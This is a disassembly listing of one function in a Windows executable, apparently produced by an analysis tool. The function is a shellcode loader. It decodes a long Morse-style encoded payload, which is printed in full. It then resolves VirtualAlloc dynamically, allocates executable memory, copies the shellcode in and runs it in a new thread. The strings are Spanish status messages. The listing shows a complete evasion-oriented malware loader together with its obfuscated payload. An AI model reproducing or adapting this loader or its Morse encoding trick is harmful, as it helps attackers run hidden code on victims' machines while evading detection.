Function at 0x14000185d
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
call sym.__main
lea rax, str..._.___.___._..___.._.____________.___._..___..__.._______.________.____._..___..__.._____________._._.________..___._________.__.____.__.____.__.____._..___.._.___________.___.._.___________.._____.___.____._._______.__________...________.._.___.__.____.__.____.__.____.__.____.__.____.__...___.._._....____..__...______.____._.._.______.___.____.__.____.__.____.__.____.__...___.._.___.___.__...___.._._.._.___.__...___.._._.___.._._.._.___.._._....___.._.___.___.._.__..___._..___..__...____________.._..___.__.____.__.____.__.____._..___..__.___...._______._._.___.._._..___._..______....___._.____._._.___._.____.__.____.__.____.__.____.__.__________..____.__._..______....___._.____._._.____.._..___.__.____.__.____.__.____.__.____._..______....___._.____._._.___._..___.__.____.__.____.__.____.__.____._..______....___._.____._._.___.._._.____.__.____.__.____.__.____.__._______....___._.____._._.____..______.__.____.__.____.__.____.__.________..____..________.___..___.__.____.__.____._.._.______.._.__..____..._...._________.___...._.____._.______.._.___________._______.._____.__._.___.___._.___.__.____.__.____._..__.____.__.._____.__.____._.._.___.__________._.______.._._________.___._..___.._.__________..._______..____.___..___.___._.___.__.____.__.____._..__._____________._.._..___..__..________....___.______.._.___________..._______..___.______.___.___._.___.__.____.__.____._..__.____.._..____._._.._______.______.._._.____.______.._.___________...___._..___.._.___________._______..___..___.___.___._.___.__.____.__.____.__._____.__.._____.________..______._.._.____..__...______.____._..___..__..______.__________________._..___.._.__________..___._..___..__.___.._._.____._._.___._.____.______..__.___._______._._.____.._..___.__.___.___...________.._.___.__...___._________._.._....___._.._.____..._.___._.______..__._____.______.__.._.____..._..___.__...___.._._..___._.._.___.._._.____._.___.._._..___....__.___.__________....___._.____._._.____._._..___.__.___.__.____.__.____.__._______....___._.____._._.____._._.____.__._____..._.____.__.____.__.____._.____._._.___________..___.._.______._.____._._.____.._..________________.___.___.._.._.______.____._________.._..___..__._.___.___...___.__.____.__.____.______.._.___________.____.______.._.______...._.____._._._____._.____._.._.____..__...______.____._.._.___.._.________________._..____._._.._.___.__._________.____________________________._..___.._.______._.____._._.___.._._..___._..___.._._..___._.____._._.___._.____._..___.._.______._.____._._._____._..___.._._..___._.____._._.____.._..___.._.______._.____._._.___...._.____.__...___._________._.._....___._.._.___.____.___._..___.._._..___._______._._.___._.____._.____.._._________.____....___.____._.__..___._.________._._..____._._____._._..___._._____________________.____._..___.___...________.____.._._..___.__._.___._______.._._..___....__._.____..._.___._______._._.__________.____.______.___...__________.___._..___.___...______..___.._._..___.__._____..._.____._..___.._._________...._________..____.__._______._..____________.__...___.._._..___.____.._.___._.._.____.__.____.__.____.__.____.._.._.____.__._.___...._.____...__._.___.._._______._.____._.______.._._..___.._._.._.____.._.____._.._.___.._.___________.______.______..__.___.__.___.___..._______..___....__.___.___._.___.__.____.__._____..__...__________.___.__...___._.._______._.____.__.____.__.____.__.____._..___..__.___...._______._._.___.._._.____.______..__.___...._______._._.___._..___.__...___._________._.._....___._.._.___.____.___._..___.._._..___._______._._.___._._____.._.___________.____._________..___.____.__....___.__.____.__.____.__.____._.._____._._..________.____._._..______....___._.____._._.____..______.__.____.__.____.__.____.__.____._..___.___..._______..___._.___.._._..___.._._._____..._.____.._._..___.._._.____._______.._._..___._._____._._.___._______._._.___________._.___.______.._.______.._._.____._._.___.._._.____.__...___.._.__________...___._..___.___...____.__...___.__...___.._._________.____.______.._._______.__._.___.__..._______...
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.strlen
mov dword [rbp - 0xc], eax
mov eax, dword [rbp - 0xc]
cdqe
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400018b5
lea rax, str.Error_al_asignar_memoria_para_decoded_payload.
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x140001a5a
mov dword [rbp - 0x34], 0
lea rcx, [rbp - 0x34]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call dbg.morse_to_payload
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x14000192c
lea rax, str.Error_al_obtener_la_direccin_de_VirtualAlloc.
mov rcx, rax
call sym.puts
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x140001a5a
mov eax, dword [rbp - 0x34]
cdqe
mov r10, qword [rbp - 0x20]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x14000197c
lea rax, str.Error_al_asignar_memoria_para_my_payload_mem.
mov rcx, rax
call sym.puts
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x140001a5a
mov eax, dword [rbp - 0x34]
movsxd rcx, eax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x28]
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, str.Shellcode_copiado_a_la_memoria_asignada.
mov rcx, rax
call sym.puts
mov rax, qword [rbp - 0x28]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
jne 0x140001a02
lea rax, str.Error_al_crear_el_hilo_para_ejecutar_el_shellcode.
mov rcx, rax
call sym.puts
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x140001a5a
lea rax, str.Hilo_creado__esperando_a_que_termine...
mov rcx, rax
call sym.puts
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.free
lea rax, str.Ejecucin_completada.
mov rcx, rax
call sym.puts
lea rax, str.Presiona_Enter_para_salir...
mov rcx, rax
call sym.puts
call sym.getchar
mov eax, 0
add rsp, 0x70
pop rbp
ret